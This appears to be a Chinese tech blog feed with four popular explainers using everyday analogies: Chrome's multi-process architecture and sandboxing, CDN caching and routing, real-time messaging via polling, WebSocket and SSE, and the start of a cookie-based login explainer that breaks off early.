阅读视图

发现新文章,点击刷新页面。

开100个标签页,为什么浏览器没崩?

你开了一个视频,又开了10个网页,再开了20个标签页...Chrome 居然没崩?而其他软件早就卡死了。Chrome是怎么做到的?

今天用**"酒店"**的故事,聊聊 Chrome 的多进程架构。


原文地址

墨渊书肆/开100个标签页,为什么浏览器没崩?


进程与线程:有什么区别?

想象一下:

进程如同一个独立的厨房,有自己的灶台、冰箱、厨师。

线程如同厨房里的厨师,多个厨师共享同一个厨房的资源——灶台是共用的,冰箱是共用的,但每个厨师可以同时干活。

进程A(独立厨房)              进程B(独立厨房)
┌─────────────────┐            ┌─────────────────┐
   厨师A1                      厨师B1       
   厨师A2                      厨师B2       
   厨师A3                      厨师B3       
                                        
 一个厨师中毒                其他厨师正常   
 其他厨师没事                继续做饭       
└─────────────────┘            └─────────────────┘

关键区别

  • 进程是"隔离的":进程A崩溃了,进程B完全不受影响
  • 线程共享资源:线程A1崩溃,可能影响整个进程A,其他线程都完蛋

Chrome多进程架构

Chrome 不像某些浏览器把所有功能塞进一个进程,而是把不同任务交给不同进程

Chrome 多进程架构:

┌─────────────────────────────────────────────────────┐
                    浏览器主进程(Browser)              
            (负责UI、地址栏、书签、下载、标签页管理)      
└─────────────────────────────────────────────────────┘
                            
            ┌───────────────┼───────────────┐
                                          
                                          
        ┌─────────┐    ┌─────────┐    ┌─────────┐
        │渲染进程1     │渲染进程2   ... │渲染进程N 
        │(Tab 1)      │(Tab 2)        │(Tab N)  
        └─────────┘    └─────────┘      └─────────┘
                                          
                                          
         GPU进程        网络进程        插件进程
进程 职责 崩溃影响
浏览器主进程(Browser) 标签页管理、地址栏、书签、下载、UI渲染 整个浏览器崩溃
渲染进程(Renderer) 运行网页内容(HTML/CSS/JS) 只影响当前标签页
GPU进程 图形渲染、视频解码、GPU加速 不影响网页渲染
网络进程(Network) 网络请求、DNS缓存、SSL验证 所有标签页断网
插件进程(Plugin) 运行浏览器插件(如Flash、PDF插件) 只影响使用该插件的页面
实用工具进程(Utility) 处理PDF阅读、扩展安装、打印等 不影响主功能

渲染进程:每个标签页一个

最重要的进程是渲染进程——每个标签页都有自己的渲染进程:

标签页1  渲染进程A(独立内存空间)
标签页2  渲染进程B(独立内存空间)
标签页3  渲染进程C(独立内存空间)
   ...
标签页100  渲染进程100(独立内存空间)

这就是为什么一个标签页崩溃不会影响其他标签页——每个渲染进程都有自己独立的内存空间,互不干扰。

为什么Chrome选择多进程?

早期浏览器(如IE、Firefox早期版本)都是单进程架构

单进程浏览器:
┌─────────────────────────────┐
  所有标签页 + UI + 插件 + JS     全在一个进程
          一个崩,全部崩         
└─────────────────────────────┘

单进程的问题:

  1. 一个标签页死循环,UI就卡死
  2. 一个标签页内存泄漏,慢慢拖垮整个浏览器
  3. 插件崩溃,浏览器跟着崩溃
  4. JS可以访问浏览器内部任意资源,安全隐患大

Chrome设计者认为:稳定性和安全性比内存占用更重要


进程间通信:IPC

不同进程之间怎么"对话"?

Chrome 使用**IPC(Inter-Process Communication,进程间通信)**机制。就像酒店房间之间不能直接串门,得通过对讲机沟通。

渲染进程(标签页1)              浏览器主进程
┌──────────────────┐         ┌──────────────────┐
  JS执行引擎                 标签页管理器    
  HTML解析器       ←───────→│  UI渲染引擎      
  CSS解析器         IPC      地址栏管理      
  DOM操作          消息通道    书签管理        
└──────────────────┘         └──────────────────┘

IPC消息类型

Chrome中主要的消息类型:

消息类型 说明 示例
ViewMsg 渲染进程→主进程 "用户点击了链接"
HandleViewMsg 主进程→渲染进程 "创建新标签页"
Route 路由消息 跨进程路由分发

IPC工作流程

点击链接时,Chrome 内部经历了:

┌───────────────────────────────────┐
 步骤1:渲染进程检测点击             
 JS事件监听器捕获 <a> 点击          
└───────────────────────────────────┘
                
                 ViewMsg_LinkOpened
                
┌───────────────────────────────────┐
 步骤2:主进程接收消息              
 决定打开新标签页                   
└───────────────────────────────────┘
                
                 HandleViewMsg_CreateWidget
                
┌───────────────────────────────────┐
 步骤3:创建新渲染进程              
 分配新内存空间,初始化V8引擎       
└───────────────────────────────────┘
                
                 Channel_LoadURL
                
┌───────────────────────────────────┐
 步骤4:新渲染进程加载URL           
 网络请求、HTML解析、渲染           
└───────────────────────────────────┘

整个过程仅需几十毫秒。


渲染进程内部:线程

每个渲染进程内部也不是单线程,而是多线程协作

渲染进程内部:

┌───────────────────────────────────────┐
            主线程(Main Thread)        
  V8 JS引擎执行                       
  HTML/CSS解析                        
  DOM树构建·布局计算·事件处理         
  requestAnimationFrame               
└───────────────────────────────────────┘
                    
        ┌───────────┴───────────┐
                               
┌──────────────┐         ┌──────────────┐
   合成线程                光栅线程     
│(Compositor)│            (Raster)   
├──────────────┤         ├──────────────┤
│• 图层合成             │• 绘制指令执行 
│• 滚动·动画           │• 像素填充     
│• 接收输入事件│         │• 纹理上传GPU 
└──────────────┘         └──────────────┘
线程 职责 为什么需要独立
主线程 JS执行、DOM、Layout、事件处理 JS必须单线程执行
合成线程 图层合成、滚动、动画 滚动必须60fps,不能等JS
光栅线程 绘制指令执行、像素填充 耗时操作,不能阻塞主线程

为什么主线程这么忙?

主线程要干太多事情:

  • JS引擎执行
  • HTML解析成DOM树
  • CSS解析成CSSOM
  • DOM + CSSOM = 渲染树
  • 布局计算每个元素位置
  • 绘制指令生成
  • 事件处理
  • 定时器回调
  • 网络回调
  • ...

这就是为什么长任务(Long Task)会卡页面——主线程太忙,用户的点击、滚动都没人处理。

合成线程的秘密

Chrome把滚动交给了合成线程处理,不经过主线程

传统方式(经过主线程):
滚动事件  主线程处理  重新布局  重绘  合成
         
       可能被JS阻塞

Chrome方式(合成线程直接处理):
滚动事件  合成线程  直接合成  输出
         
       完全不经过主线程

所以即使JS卡住了,页面滚动和动画依然流畅。


安全机制:沙箱

渲染进程为什么能"安全"地运行任意网页?

因为 Chrome 给渲染进程加了沙箱(Sandbox)——如同酒店房间:你可以用自己的东西,但不能动酒店的基础设施,也不能进别人房间。

沙箱限制:

渲染进程能做的事:
├──  执行JS(V8引擎隔离)
├──  操作DOM(沙箱内DOM树)
├──  计算样式
└──  发送网络请求(通过IPC代理)

渲染进程不能做的事:
├──  直接读写文件系统
├──  直接访问摄像头/麦克风(需用户授权)
├──  直接访问系统剪贴板(全权)
├──  直接读取本机Cookie/密码
├──  直接创建网络连接(必须经过网络进程)
└──  直接调用系统API

沙箱的技术原理

沙箱主要依赖操作系统提供的隔离机制

机制 说明
进程隔离 每个渲染进程有独立虚拟地址空间
用户权限限制 渲染进程以低权限用户运行
系统调用过滤 禁止某些危险系统调用
文件访问限制 无法访问用户文件

即使网页中的恶意代码能执行,它也被"关在笼子里",无法直接伤害你的电脑。


Site Isolation:更严格的安全

2018 年 Chrome 引入Site Isolation(站点隔离),把安全提升到新级别。

以前的规则

每个标签页一个渲染进程

标签页1  渲染进程A  可以访问标签页1的内存
标签页2  渲染进程A  可以访问标签页2的内存
                        
                   同一个进程
                   理论上可以访问彼此

现在的规则

每个跨站点的iframe也可能是独立进程

example.com 页面:
┌─────────────────────────────────────────┐
  主页面(主框架)      渲染进程A         
    ├── iframe(ads.example.com)   渲染进程B 
    ├── iframe(analytics.com)    渲染进程C 
    └── iframe(cdn.example.com)   渲染进程D 
└─────────────────────────────────────────┘
         
    进程级别完全隔离

为什么需要这么严格?

防止Spectre/Meltdown等侧信道攻击

攻击场景:
1. evil.com 运行在 渲染进程A
2. victim.com 也在 渲染进程A(作为iframe)
3. 恶意JS利用Spectre漏洞
4. 通过侧信道 timing攻击 读取渲染进程A的内存
5. 理论上可以读到 victim.com 的数据!

有了 Site Isolation,即使 evil.com 被攻破,它的渲染进程也无法访问 victim.com 的数据——因为它们根本不在同一个进程里。

Site Isolation的代价

更严格的隔离带来更高的内存占用:

情况 进程数
10个同源标签页 10个渲染进程
10个跨源标签页 可能10+个渲染进程
一个页面有5个跨站iframe 6个渲染进程

Chrome为了安全,愿意付出更多内存代价


为什么Chrome占用内存高?

很多人抱怨Chrome"吃内存"。

确实,多进程架构比单进程消耗更多内存,但这是故意的设计权衡

对比 单进程浏览器 Chrome多进程
内存占用 高(每个进程有独立内存空间)
稳定性 一个标签页崩,全部崩 一个崩,不影响其他
安全性 低(JS可以访问更多资源) 高(沙箱保护,进程隔离)
流畅度 JS卡住就卡顿 滚动动画由合成线程处理,更流畅
溃恢复 全部丢失 崩溃的标签页可以单独恢复

Chrome的内存管理优化

虽然多进程更耗内存,但Chrome也做了很多优化:

  1. 渲染进程合并:同源的多个标签页可能共享一个渲染进程
  2. 内存共享:使用**共享内存(Shared Memory)**减少复制
  3. 进程休眠:长时间未激活的标签页进程可以休眠
  4. 垃圾回收优化:V8 的垃圾回收已经高度优化

什么时候会内存爆炸?

内存爆炸场景:
├── 开100个淘宝/京东商品页(每个都有大量JS)
├── 开50个在线文档(Google Docs、Notion)
├── 开20个视频网站(爱奇艺、优酷、B站)
└── 结果:内存占用轻松上10GB

这是Chrome的"有钱任性"设计哲学——用内存换稳定性和用户体验


总结:Chrome核心知识点

概念 说明 类比
多进程架构 不同任务交给不同进程 酒店各部门分工
渲染进程 每个标签页一个,隔离运行 每人一间房
IPC通信 进程间通过消息传递协作 对讲机沟通
主线程 JS执行、DOM、Layout、事件处理 客房服务员(单线程)
合成线程 滚动、动画(不经主线程) 专属电梯(直达)
沙箱 限制渲染进程权限 房间门禁
Site Isolation 跨站iframe也隔离 同一房间的不同访客也分开
内存换稳定 多进程占用更多内存,但更安全稳定 酒店房间多,但互不干扰

核心思想:Chrome用"酒店"架构——每个房间(进程)独立,隔音好,一个房间出问题不影响其他;房间内有限制,不能动基础设施;甚至同一页面的不同访客也要隔开。

技术不复杂,但正是这套架构,让"100个网页同时运行"成为可能。

下次 Chrome 占用几百MB甚至几GB内存时,别急着骂它——那是它"有钱任性"的设计,是为了让你的浏览器更稳定、更安全、更流畅。

为什么全国人民都能秒开同一个视频?

为什么你在北京打开一个视频,加载只要1秒?你的朋友在新疆,打开同一个视频,也是1秒?服务器难道全国各地都放了?

今天,用**"快递"**的故事,来讲讲CDN的原理。


原文地址

墨渊书肆/为什么全国人民都能秒开同一个视频?


没有CDN时,网络请求是怎么跑的?

你在北京,想从上海寄一箱苹果。

没有CDN的情况下:

你(北京)→ 上海工厂 → 快递翻山越岭 → 你收到苹果

耗时:3-5天。

网络请求同理:

你在北京 → 请求到上海服务器 → 上海服务器返回资源 → 你收到响应

耗时:100-300ms(物理距离决定)。

如果服务器在上海,你在新疆,延迟可能高达500ms。

更严重的是——100万人同时看这个视频,上海服务器直接崩溃


CDN是怎么解决这个问题的?

CDN的核心思想:把内容复制到离用户最近的地方

快递公司在全国建了很多仓库:

你在北京 → 北京仓库有货 → 当天到达

网络请求同理:

你在北京 → 北京CDN节点有缓存 → 10ms到达

这就是CDN(Content Delivery Network,内容分发网络)的核心:就近访问


CDN的工作原理

1. DNS智能解析

当你输入网址,DNS会解析到离你最近的CDN节点:

# 传统DNS(固定IP)
你(北京)→ dns.example.com  123.125.115.110(上海源站)

# CDN智能DNS
你(北京)→ dns.example.com  GSLB判断位置  返回1.2.3.4(北京节点)
你(新疆)→ dns.example.com  GSLB判断位置  返回5.6.7.8(新疆节点)

GSLB(Global Server Load Balance,全局负载均衡)根据地理位置返回最近节点IP。

2. 边缘节点就近响应

CDN节点称为PoP(Point of Presence,边缘节点),分布在全国各地:

┌─────────────────────────────────────────────────────────────┐
                      CDN全国节点分布                          
                                                              
   东北区PoP        华北区PoP         华东区PoP              
   (沈阳)           (北京)             (上海)                  
                                                              
   西南区PoP        华中区PoP         华南区PoP              
   (成都)           (武汉)             (广州)                  
                                                              
                    ┌─────────────────┐                       
                        源站服务器                            
                       (上海自建)                          
                    └─────────────────┘                       
└─────────────────────────────────────────────────────────────┘

3. 缓存命中与回源

CDN节点会缓存源站内容:

缓存未命中:
用户  CDN节点  源站服务器  返回内容并缓存

缓存命中:
用户  CDN节点  (直接返回缓存,不回源)

深入了解CDN 🔬

CDN缓存策略

CDN通过HTTP响应头控制缓存行为:

# 缓存有效期(秒)
Cache-Control: public, max-age=86400

# 不缓存(直接回源)
Cache-Control: no-cache, no-store
响应头 作用
Expires 过期时间点(绝对时间)
Cache-Control: max-age 缓存有效期(相对时间)
Cache-Control: private 仅浏览器可缓存,CDN不可缓存
Cache-Control: no-store 禁止缓存

缓存失效机制

源站内容更新后,CDN可能仍返回旧缓存。解决方案:

方案 原理 适用场景
缓存预热 发布前主动推送新内容到CDN节点 大促、热更新
缓存刷新 手动删除指定URL的缓存 紧急更新
版本化URL URL携带hash如app.js?v=2.1.0 静态资源(推荐)
短TTL 牺牲性能换取新鲜度 频繁更新

CDN判断缓存状态

CDN返回时会携带自定义头,标识缓存命中状态:

X-Cache: HIT    # 命中缓存
X-Cache: MISS   # 未命中,回源

X-Cache-Status: HIT
X-Cache-Status: REVALIDATED  # 缓存过期但内容未变,验证通过

Anycast与DNS劫持

大型CDN使用Anycast技术:多个节点共享同一IP,路由器自动把请求路由到最近节点。

# Anycast示意
北京节点、上海节点、广州节点  都使用IP 1.2.3.4
用户请求  路由器自动选择物理距离最近的节点

国内CDN的特殊性

由于国内ICP备案制度,CDN需要域名已备案才能接入。正规CDN服务商会对域名备案状态进行校验。


为什么CDN能"秒开"?

1. 就近访问——物理距离近

访问路径 单程延迟 往返延迟(RTT)
北京 → 上海(无CDN) 100-150ms 200-300ms
北京 → 北京CDN节点 1-5ms 2-10ms

快了20-100倍。

2. 骨干网络直连

CDN服务商自建骨干网络,像高铁专线:

# 公网路由(多跳)
北京  西安中转  成都中转  上海服务器
(每跳增加10-50ms延迟)

# CDN骨干网络
北京PoP ←→ 上海PoP ←→ 源站服务器
(少跳数、低延迟)

3. 边缘计算能力

现代CDN不只是缓存,还能做边缘计算:

CDN边缘节点能力:
├── 静态资源缓存
├── 动态请求加速(路由优化)
├── TLS/SSL终止(加解密在边缘完成)
├── 图片压缩/格式转换(WebP/AVIF)
├── A/B测试分流
├── 防DDoS攻击
└── Edge Functions(边缘函数)

CDN服务架构

┌─────────────────────────────────────────────────────────────┐
                         用户请求                              
└─────────────────────────┬───────────────────────────────────┘
                          
                          
┌─────────────────────────────────────────────────────────────┐
                      DNS智能解析                              
               (GeoDNS:根据地理位置返回节点)                 
└─────────────────────────┬───────────────────────────────────┘
                          
                          
┌─────────────────────────────────────────────────────────────┐
                    GSLB全局负载均衡器                        
                     (健康检查 + 就近调度)                   
└───────┬─────────┬─────────┬─────────┬─────────┬───────────┘
                                            
                                            
   ┌────────┐┌────────┐┌────────┐┌────────┐┌────────┐
   │北京PoP ││上海PoP ││广州PoP ││成都PoP ││新疆PoP 
   └────┬───┘└────┬───┘└────┬───┘└────┬───┘└────┬───┘
                                            
        └─────────┴────┬────┴─────────┴─────────┘
                        缓存未命中时回源
                       
              ┌─────────────────┐
                  源站服务器     
                 (上海自建)   
              └─────────────────┘

CDN服务商选择

服务商 特点 适用场景
Cloudflare 免费额度大,全球Anycast 个人博客、中小型网站
Akamai 全球最大,节点最多 大型企业、国际化
阿里云CDN 国内节点密集 国内业务
腾讯云CDN 与微信生态集成 游戏、直播
AWS CloudFront 与AWS生态深度集成 AWS用户
自建CDN 完全可控 超大型企业

选型考量

因素 说明
节点分布 用户群体地理位置
价格模型 按流量、按带宽、按请求数
缓存命中率 命中率越高,源站压力越小
HTTPS支持 免费证书、自动续期
附加功能 防DDoS、边缘计算、HTTP/3支持

CDN的常见问题

1. 缓存生效延迟

更新网站内容后,CDN仍在返回旧缓存:

你更新了CSS → CDN节点仍有旧版本 → 用户看到错位页面

解决方案:使用版本化URL(style.css?v=2.0.0)、发布后手动刷新缓存。

2. 缓存穿透

恶意请求大量不存在URL,直接打到源站:

攻击者 → 随机URL → CDN无缓存 → 回源 → 源站崩溃

解决方案:CDN安全配置、源站防护、使用BloomFilter判断存在性。

3. HTTPS证书管理

CDN节点需配置SSL证书,更新时需同步到所有节点:

证书过期 → TLS握手失败 → 用户无法访问

解决方案:使用CDN自带免费证书、配置自动续期、监控证书状态。


总结:CDN核心知识点

概念 说明
PoP/边缘节点 离用户最近的CDN服务器
回源 缓存未命中时,向源站请求内容
GSLB 全局负载均衡,根据位置返回最近节点
GeoDNS 根据用户地理位置返回不同解析结果
缓存命中率 缓存命中请求占总请求的比例,越高越好
Anycast 多节点共享IP,路由自动选最近节点

写在最后

现在应该明白了:

  • CDN = 在全国各地建仓库,就近发货
  • PoP/边缘节点 = 离你最近的仓库
  • 回源 = 仓库没货,去工厂拿
  • GSLB = 智能调度,看你在哪就分配哪个仓库
  • 秒开 = 物理距离近 + 骨干网络 + 缓存复用

下次视频加载飞快,记得——背后是数千个CDN节点在为你"跑腿"。

技术不复杂,但让"全国人民秒开同一个视频"成为可能。

你发送的消息,微信到底怎么送到的?

为什么你发一条消息,对方瞬间就能收到?浏览器网页刷新一下要好几秒,为什么微信能做到"秒回"?

今天,用**"敲门"**的故事,来讲讲消息推送的技术原理。


原文地址

墨渊书肆/你发送的消息,微信到底怎么送到的?


浏览器为什么"落后"于微信?

你给朋友发微信,消息瞬间送达,甚至能看到对方"正在输入"。

但打开网页版邮箱想知道有没有新邮件,只能手动刷新页面。

这个差异源于HTTP协议天生就是"单向"的

回顾一下HTTP的工作方式:

浏览器 → 服务器:「有没有新消息?」

服务器 → 浏览器:「没有。」

(一秒钟后)

浏览器 → 服务器:「有没有新消息?」

服务器 → 浏览器:「没有。」

(又一秒)

浏览器 → 服务器:「有没有新消息?」

服务器 → 浏览器:「有了!你的验证码是123456。」

这就是问题所在:HTTP是"拉取"(Pull)模式,必须由客户端主动发起请求,服务器才能响应。

而微信采用的是 "推送"(Push)模式 ——有新消息时,服务器主动通知客户端。


方案一:短轮询——持续敲门确认对方在不在

最早的解决方案很简单:持续轮询

每秒向服务器发送一次请求:「有没有新消息?」

服务器回复:「没有。」

继续问。

服务器回复:「没有。」

继续问。

服务器回复:「有了!有人给你点赞了!」

这就是短轮询(Short Polling)

实现示例

setInterval(async () => {
  const response = await fetch('/api/check-messages');
  const data = await response.json();
  if (data.hasNew) {
    showNotification(data.message);
  }
}, 1000);

短轮询的问题

问题 说明
资源浪费 无论是否有消息,每秒都在发送HTTP请求
带宽浪费 99%的情况下服务器回复都是{hasNew: false}
延迟高 新消息到达时机恰好在轮询间隔之间时,需等待下一个周期

短轮询如同执着推销员,每隔一分钟就敲一次门问要不要买保险,邻居不堪其扰。


方案二:长轮询——餐厅等位,服务员主动叫号

能否改为"等待"而非"持续询问"?

**长轮询(Long Polling)**正是这个思路的产物。

以餐厅吃饭为例。短轮询如同每隔一分钟就跑到前台问一次"轮到我没有?",服务员每次都说"还没有"。

长轮询则是拿号等待,服务员叫号时主动来找你——"38号客户,请入座"——无需频繁询问。

长轮询的工作流程

1. 客户端  服务器:GET /api/messages(请求挂起)
2. 服务器  客户端:(等待中……有新消息才返回响应)
3. 服务器  客户端:{message: "你的验证码是123456"}
4. 客户端:(收到消息后,立即再次发起长轮询)

实现示例

async function longPoll() {
  while (true) {
    try {
      const response = await fetch('/api/messages', {
        signal: AbortSignal.timeout(30000)  // 30秒超时
      });
      const data = await response.json();
      showNotification(data.message);
    } catch (e) {
      // 超时或出错时,继续发起下一次长轮询
    }
  }
}

长轮询的改进

改进点 说明
减少请求次数 无新消息时服务器保持连接,不立即响应
降低延迟 新消息产生时,服务器立即推送

长轮询的问题

问题 说明
连接频繁建立 每次收到消息后需重新建立HTTP连接
服务器压力大 每个客户端需占用一个服务端连接
高并发场景不适用 10万人同时在线,服务器需维护10万个挂起的请求

长轮询如同餐厅等位——拿号等待,服务员主动叫号。


方案三:WebSocket——建立持久双向通道

真正的"双向通信"解决方案来了。

WebSocket如同在客户端与服务器之间建立了一条专线电话:

  • 一次建立,长期保持
  • 双方可随时发送消息
  • 无需重复"握手确认"

WebSocket的工作原理

WebSocket的建立过程起始于HTTP,随后升级为不同的协议:

1. 客户端  服务器:GET /ws HTTP/1.1
   Host: example.com
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
   Sec-WebSocket-Version: 13

2. 服务器  客户端:HTTP/1.1 101 Switching Protocols
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYG3hQwbA==

3. (握手完成,连接从HTTP升级为WebSocket协议)

4. 客户端  服务器:全双工消息传输,不再需要轮询

这就是著名的协议升级(Upgrade)机制——客户端发送Upgrade请求头,服务器同意后切换到WebSocket模式。

帧结构

WebSocket通信的基本单位是帧(Frame),而不是HTTP的请求/响应:

┌─────────────────────────────────────────────────────────────┐
  0                   1                   2                   3 
  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
 +-+---------------+-+---------------+-+---------------+-+-----+
 |F|R|R|R| opcode |M|     mask      |          payload len  |
 |I|S|S|S|        |A|               ||                          |
 |N|V|V|V|        |S|               ||
字段 说明
opcode 帧类型(0x0=continuation, 0x1=text, 0x2=binary, 0x8=close, 0x9=ping, 0xA=pong)
MASK 客户端发送给服务器时必须为1,帧内容使用masking key加密
payload len 数据长度(最多125字节,超过时使用扩展)

消息格式示例

// 客户端发送消息
socket.send(JSON.stringify({
  type: 'message',
  content: '你好,我想问一下订单的事'
}));

// 客户端接收消息
socket.onmessage = (event) => {
  const data = JSON.parse(event.data);
  console.log('收到消息:', data.content);
};

WebSocket事件生命周期

┌─────────────────────────────────────────────────────────┐
                   WebSocket连接                            
                                                          
  onopen          onmessage          onclose           
  (连接建立)        (接收消息)           (连接关闭)         
                                                          
               onerror                                  
               (连接错误)                                 
└─────────────────────────────────────────────────────────┘

WebSocket支持ping/pong帧用于心跳检测,比自定义JSON消息更轻量。

WebSocket与HTTP对比

特性 HTTP WebSocket
方向 单向(客户端发请求,服务器响应) 双向(全双工)
连接 每次请求新建 一次建立,长期保持
实时性 取决于轮询频率 真正的实时(毫秒级)
资源消耗 高(频繁建连断连) 低(单一连接)
使用场景 查询、表单提交 聊天、实时协作、在线游戏

方案四:SSE——服务器单向推送

有时仅需服务器向客户端推送,无需双向通信。

典型场景:

  • 股票行情:服务器持续推送价格变动
  • 新闻推送:服务器通知突发事件
  • 邮件提醒:收到新邮件时通知

**SSE(Server-Sent Events)**专为此类场景设计。

SSE的工作方式

SSE如同接收广播——打开收音机后,电台持续播报,只能听无法回应。

实现示例

// 客户端
const eventSource = new EventSource('/api/notifications');

eventSource.onmessage = (event) => {
  console.log('收到通知:', event.data);
};

eventSource.addEventListener('stock', (event) => {
  const stockData = JSON.parse(event.data);
  updateStockPrice(stockData);
});
// 服务器(Node.js示例)
app.get('/api/notifications', (req, res) => {
  res.writeHead(200, {
    'Content-Type': 'text/event-stream',
    'Cache-Control': 'no-cache',
    'Connection': 'keep-alive'
  });

  const interval = setInterval(() => {
    res.write(`data: ${JSON.stringify({time: Date.now()})}\n\n`);
  }, 1000);

  req.on('close', () => {
    clearInterval(interval);
  });
});

SSE事件格式

data: {"msg": "第一条消息"}

data: {"msg": "第二条消息"}

id: 10
data: {"msg": "带ID的消息"}

event: stock
data: {"price": 123.45}
字段 说明
data: 消息内容,可多行
id: 事件ID,浏览器自动记录,断了可自动续传
event: 自定义事件类型
retry: 断开后重连间隔(毫秒)

SSE的特点

特性 说明
单向 仅服务器可推送,浏览器仅能接收
基于HTTP 无需特殊协议,兼容性好
自动重连 浏览器自动维护,连接断开后自动恢复
EventSource API 原生浏览器支持,实现简单

深入了解实时通信技术 🔬

方案对比总览

技术 双向通信 连接类型 实时性 资源消耗 实现复杂度
短轮询 短连接 差(秒级)
长轮询 长连接 中(亚秒级)
WebSocket 长连接 优(毫秒级)
SSE 长连接 优(毫秒级)

WebSocket心跳机制

TCP 连接长时间无数据传输时,中间设备(如防火墙、负载均衡器)可能主动断开连接。 WebSocket 需定期发送心跳包保持连接活跃:

// 使用ping/pong帧(协议级)
const pingInterval = setInterval(() => {
  if (socket.readyState === WebSocket.OPEN) {
    socket.ping();
  }
}, 30000);

socket.on('pong', () => {
  console.log('收到pong响应,连接正常');
});

断线重连策略

网络波动时连接可能中断,需实现指数退避重连:

function connect() {
  const socket = new WebSocket('wss://example.com/ws');
  let retryDelay = 1000;
  const maxDelay = 30000;

  socket.onclose = () => {
    console.log(`连接断开,${retryDelay}ms后重连...`);
    setTimeout(() => {
      connect();
      retryDelay = Math.min(retryDelay * 2, maxDelay);
    }, retryDelay);
  };

  socket.onerror = (error) => {
    console.error('连接错误:', error);
  };
}

WebSocket协议的握手细节

WebSocket握手基于HTTP,必须遵守同源策略。服务器响应中的Sec-WebSocket-Accept验证方式:

const crypto = require('crypto');
const key = 'dGhlIHNhbXBsZSBub25jZQ==';
const accept = crypto
  .createHash('sha1')
  .update(key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')
  .digest('base64');
// 返回值应为 's3pPLMBiTxaQ9kYG3hQwbA=='

真实的即时通讯系统是怎么实现的?

简化架构

┌─────────────────────────────────────────────────────────────┐
                        IM服务器集群                           
                                                             
  ┌──────────────┐   ┌──────────────┐   ┌──────────────┐    
     消息Router        消息存储           推送服务       
    (一致性哈希)       (历史消息)       (APNs/FCM)      
  └──────┬───────┘   └──────┬───────┘   └──────┬───────┘    
└─────────┼──────────────────┼──────────────────┼─────────────┘
                                              
                                              
┌─────────────────────────────────────────────────────────────┐
                        客户端                                 
                                                              
  WebSocket长连接     本地消息数据库       系统级推送通知         
  (在线时实时通信)     (消息缓存)           (离线时触达)         
└─────────────────────────────────────────────────────────────┘

消息发送完整流程

1. 客户端A  服务器:POST /api/messages
   {to: "用户B", content: "在吗?", clientMsgId: "uuid_xxx"}

2. 服务器  消息存储:写入消息
   INSERT INTO messages (id, from, to, content, status)
   VALUES ("msg_yyy", "A", "B", "在吗?", "pending")

3. 服务器  消息Router:查询用户B的在线状态
   Redis GET user:B:online   "ws_session_123"

4. 用户B在线:
   服务器  用户B:(WebSocket推送) {type: "message", content: "在吗?"}
   服务器  用户A:(HTTP响应) {code: 0, msgId: "msg_yyy"}
   服务器  消息存储:UPDATE messages SET status = "delivered"

5. 用户B离线:
   服务器  推送服务:发送APNs/FCM推送
   服务器  消息存储:UPDATE messages SET status = "pending_push"

消息幂等性

网络异常时客户端可能重复发送消息。服务器通过唯一消息ID实现幂等:

async function handleMessage(msg) {
  // 检查是否已处理过
  const exists = await redis.get(`msg:processed:${msg.clientMsgId}`);
  if (exists) {
    return { code: 0, duplicate: true };
  }

  // 写入数据库
  await db.saveMessage(msg);

  // 标记为已处理,设置过期时间
  await redis.setex(`msg:processed:${msg.clientMsgId}`, 86400, '1');

  // 推送给接收方
  await pushToRecipient(msg);

  return { code: 0, msgId: msg.id };
}

消息确认机制

客户端发送消息后需等待服务器确认(ack),未确认则重试:

发送消息  等待ack(超时3s)→ 未收到  重试(最多3次)→ 仍未确认  显示"发送失败"

WebSocket层的ping/pong与业务层的消息确认是两种独立机制:

// 业务层消息确认
socket.send(JSON.stringify({
  type: 'message',
  id: 'msg_123',
  content: '在吗?',
  requiresAck: true
}));

// 服务端收到后回复
socket.send(JSON.stringify({
  type: 'ack',
  id: 'msg_123',
  timestamp: 1699999999
}));

离线消息与推送

用户离线时,消息暂存服务器,通过系统级推送服务触达:

平台 推送服务
iOS APNs(Apple Push Notification service)
Android FCM(Firebase Cloud Messaging)

推送 payload 示例:

{
  "to": "用户设备Token",
  "notification": {
    "title": "微信消息",
    "body": "张三:在吗?"
  },
  "data": {
    "msgId": "msg_yyy",
    "conversationId": "conv_zzz"
  }
}

总结:技术选型指南

场景 推荐方案 理由
聊天应用、在线游戏 WebSocket 需真正的双向实时通信
股票行情、直播弹幕 WebSocket / SSE 需高速双向/单向推送
新闻推送、系统通知 SSE 仅需服务器单向推送
低频检查类需求 短轮询 / 长轮询 实现简单,无持久连接需求
App离线推送 APNs / FCCM 应用关闭时仍需触达用户

写在最后

现在应该明白了:

  • 短轮询 = 持续敲门确认对方在不在,资源消耗大
  • 长轮询 = 通话等待,占用连接但减少无效请求
  • WebSocket = 专线电话,一次建立永久使用
  • SSE = 听广播,服务器单向推送
  • 微信 = 技术组合:WebSocket实时通信 + 消息持久化 + APNs/FCM离线推送 + 确认重试机制

发一条微信消息,背后可能经历了一次HTTP请求、一次WebSocket推送、一次APNs/FCM离线推送,才能最终呈现在屏幕上。

技术不复杂,但组合起来,创造了"秒回"的用户体验。

为什么关掉浏览器再打开,你还是登录状态?

你有没有想过一个问题:为什么关掉浏览器再打开,之前登录的网站还是登录状态?浏览器重启了,凭什么还记得你是谁?

今天,我用会员卡的故事,来讲讲Cookie和Session到底是怎么回事。


原文地址

墨渊书肆/为什么关掉浏览器再打开,你还是登录状态?


浏览器是怎么"记住"你的?

想象一下你去一家健身房。

第一次去,前台会让你填表,然后给你一张会员卡。以后每次去,你只需要出示会员卡,前台就知道你是谁了。

浏览器也是一样的道理。

你登录一个网站后,网站会给你发一张"会员卡"——这就是Cookie。下次再来,直接出示"会员卡",网站就知道你是谁了。


Cookie是什么?

Cookie就是浏览器存的一段小数据,就像一张会员卡。

当你登录成功后,服务器会给你发一张"会员卡":

Set-Cookie: userId=12345; expires=Fri, 31 Dec 2026 23:59:59 GMT; path=/; HttpOnly; Secure

这句话翻译成人话就是:

  • 「这是12345号会员的卡」(userId=12345)
  • 「有效期到2026年12月31日」(expires)
  • 「在整个网站都有效」(path=/)
  • 「JavaScript无法读取」(HttpOnly)
  • 「只能用HTTPS发送」(Secure)

浏览器收到后,就会把这张"会员卡"存起来。以后你每次访问这个网站,浏览器都会自动带上这张卡:

Cookie: userId=12345

服务器一看:「哦,这是12345号会员,之前来过的。」

深入了解Cookie 🔬

